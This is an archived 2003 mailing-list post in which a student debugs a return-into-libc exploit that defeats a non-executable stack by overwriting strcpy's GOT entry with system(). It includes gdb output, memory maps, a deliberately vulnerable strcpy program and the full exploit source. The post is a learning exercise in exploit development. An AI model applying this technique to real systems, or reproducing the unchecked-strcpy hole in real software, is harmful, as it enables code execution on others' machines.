Vulnerability Development mailing list archives
Defeating non-executable stacks ... trying to, actually
From: "Emilio Mira Alfaro" <emial () alumni uv es>
Date: Sun, 31 Aug 2003 15:12:53 +0200 (CEST)
Hi all, I'm doing some practices on this issue but I'm messing around a bit. I'm following an excellent text by Rafal Wojtczuk titled "Defeating Solar Designer non-executable stack patch". He explains basically two methods in order to bypass non-executable stacks: 1) Fill the buffer with SRTCPY | DEST | DEST | SRC which works fine without any problems, and 2) Fill the buffer with SRTCPY | STRCPY | PLTENT-off | SRC First, I got the PLT entry and the GOT address using: -------------------------------------------------------------------- [emilio@vega nex_stack]$ gdb vul3 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) (gdb) disass strcpy Dump of assembler code for function strcpy: 0x080482d0 <strcpy+0>: jmp *0x8049800 0x080482d6 <strcpy+6>: push $0x18 0x080482db <strcpy+11>: jmp 0x8048290 <_init+24> End of assembler dump. (gdb) ------------------------------------------------------------------- So, PLT = 0x080482d0 and GOT(strcpy) = 0x8049800. The system() address is: ------------------------------------------------------------------- [emilio@vega emilio]$ cd ELAS/src/nex_stack/ [emilio@vega nex_stack]$ vi vul3.c [emilio@vega nex_stack]$ cat /proc/$(/sbin/pidof vul3)/maps 00110000-00125000 r-xp 00000000 03:03 930273 /lib/ld-2.3.2.so 00125000-00126000 rw-p 00014000 03:03 930273 /lib/ld-2.3.2.so 00126000-00128000 rw-p 00000000 00:00 0 00136000-00269000 r-xp 00000000 03:03 930280 /lib/libc-2.3.2.so 00269000-0026d000 rw-p 00132000 03:03 930280 /lib/libc-2.3.2.so 0026d000-0026f000 rw-p 00000000 00:00 0 08048000-08049000 r-xp 00000000 03:05 293979 /home/emilio/ELAS/src/nex_stack/vul3 08049000-0804a000 rw-p 00000000 03:05 293979 /home/emilio/ELAS/src/nex_stack/vul3 bfffe000-c0000000 rwxp fffff000 00:00 0 [emilio@vega nex_stack]$ nm /lib/libc-2.3.2.so | grep system 000414b0 t do_system 00041430 T __libc_system 001053f0 T svcerr_systemerr 00041430 W system [emilio@vega nex_stack]$ ------------------------------------------------------------------ So, system = 00136000 + 00041430, if I'm not mistaken. Then, I lauch the exploit program with offset 12 and I get: ------------------------------------------------------------------ [emilio@vega nex_stack]$ ./p3 12 Trying SRC at 0xbffffa2c Executing vulnerable program ... 0xbffffd40> BP 0xbffffde8 - EIP 0x14b917 - DST 0x2 - DST 0xbffffe14 - SRC 0xbffffe20 0xbffffd40> BP 0xbfffffe2 - EIP 0x80482d0 - DST 0x80482d0 - DST 0x80497f4 - SRC 0xbfffffe2 Segmentation fault (core dumped) ----------------------------------------------------------------- As we can see, the offset 12 is correct since on EIP, after the overflow, appears to be the first reference to STRCPY. Now, let's see what went wrong: ----------------------------------------------------------------- [emilio@vega nex_stack]$ gdb vul3 core.1968 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) warning: core file may not match specified executable file. Core was generated by `vul3 PPPPPPPPPPPP��������������'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x78787878 in ?? () (gdb) x/8 0x080497F0 0x80497f0 <_GLOBAL_OFFSET_TABLE_+8>: 0x0011bcb0 0x3d474745 0x706d742f 0x7878782f 0x8049800 <_GLOBAL_OFFSET_TABLE_+24>: 0x78787878 0x00177430 0x00000000 0x00000000 (gdb) ----------------------------------------------------------------- SYSTEM was stored on 0x8049804 insted of 0x8049800, so EIP whent where the 'xxxx' were stored, instead of the address of system(). I've review the exploit program and it seems to be alright. Anyway, what I did it to decrease on 4 the address of my calculated GOT entry, but now: ---------------------------------------------------------------- [emilio@vega nex_stack]$ ./p3 12 Trying SRC at 0xbffffa2c Executing vulnerable program ... 0xbfffnfd40> BP 0xbffffde8 - EIP 0x14b917 - DST 0x2 - DST 0xbffffe14 - SRC 0xbffffe20 0xbffffd40> BP 0xbfffffe2 - EIP 0x80482d0 - DST 0x80482d0 - DST 0x80497f0 - SRC 0xbfffffe2 Segmentation fault (core dumped) [emilio@vega nex_stack]$ gdb vul3 core.1995 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) warning: core file may not match specified executable file. Core was generated by `vul3 PPPPPPPPPPPP��������������'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x08049873 in ?? () (gdb) ---------------------------------------------------------------- EIP seems to be on the GOT table, much further than strcpy() is. Am I missing something? I'm using RH9.0. I've heard gcc > 2.96 give some problems with off-by-one buffer overflows since the gap between the BP pointer and local vars is greater, but what i'm doing doesn't have anything to do with that ... Maybe another modification on the GOT table .. Have somebody else experimented this problem? Below, the programs i'm using to practice. Thanks in advance, Emilio --------------- vulnerable program --------------------- int main(int argc, char **argv) { char d[10]="DDDD"; char c[100]="CCCC"; char a[10]="AAAA", b[10]="BBBB"; char *ptr; int i=0; a[0] = a[0]; printf("Executing vulnerable program ...\n"); sleep(1); printf("0x%x> BP 0x%x - EIP 0x%x - DST 0x%x - DST 0x%x - SRC 0x%x\n", (int *)c, *(int *)(c+136), *(int *)(c+140), *(int *)(c+144), *(int *)(c+148), *(int *)(c+152) ); strcpy(a, b); strcpy(c, argv[1]); printf("0x%x> BP 0x%x - EIP 0x%x - DST 0x%x - DST 0x%x - SRC 0x%x\n", (int *)c, *(int *)(c+136), *(int *)(c+140), *(int *)(c+144), *(int *)(c+148), *(int *)(c+152) ); //strcpy(a, b); for (i=1;i!=500000000;i++); } --------------- exploit program ------------------------ #include <stdio.h> #define BUFSIZE 140 #define OFFSET 850 #define EGGSIZE 100 #define STRCPY_PLT 0x080482d0 #define STRCPY_GOT 0x8049800 #define SRC 0xbfffffe2 #define SYSTEM 0x00136000 + 0x041430 char *prefix = "/tmp/xxxxxxx"; char buf[300], pattern[16], egg[EGGSIZE]; int main(int argc, char **argv) { int src = (int)&src; int i, off = 0; char path[200], command[100]; char *envs[2] = { egg, 0 }; if (argv[1]) { off = atoi(argv[1]); } printf("Trying SRC at 0x%x\n", src); *(int *)pattern = STRCPY_PLT; *(int *)(pattern + 4) = STRCPY_PLT; *(int *)(pattern + 8) = STRCPY_GOT - strlen(prefix); *(int *)(pattern + 12) = SRC; for (i = 0; i <= 15; i++) if (pattern[i] == 0) { printf("zero in pattern (%i)\n", i); exit(1); } if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM & 0x000000ff)) { printf("zero in system\n"); exit(1); } memset(buf, 0x50, sizeof(buf) ); for (i = 0 + off; i < sizeof(buf); i+=16) memcpy((void *)(buf + i), (void *)pattern, sizeof(pattern) ); buf[sizeof(buf) - 1] = '\0'; strcpy(path, prefix); *(int *)(path + strlen(path) ) = SYSTEM; sprintf(egg, "EGG=%s", path); sprintf(command, "cp /tmp/qq %s", path); system(command); execle("./qwe", "vul3", buf, 0, envs); perror("execl"); } -- Emilio Mira e-mail: emial () alumni uv es ------------------------------------------------------ "Sure UNIX is user friendly; it's just picky about who its friends are." ------------------------------------------------------
Current thread:
- Defeating non-executable stacks ... trying to, actually Emilio Mira Alfaro (Aug 31)
- <Possible follow-ups>
- Re: Defeating non-executable stacks ... trying to, actually Marco Ivaldi (Sep 01)
- Re: Defeating non-executable stacks ... trying to, actually emial (Sep 03)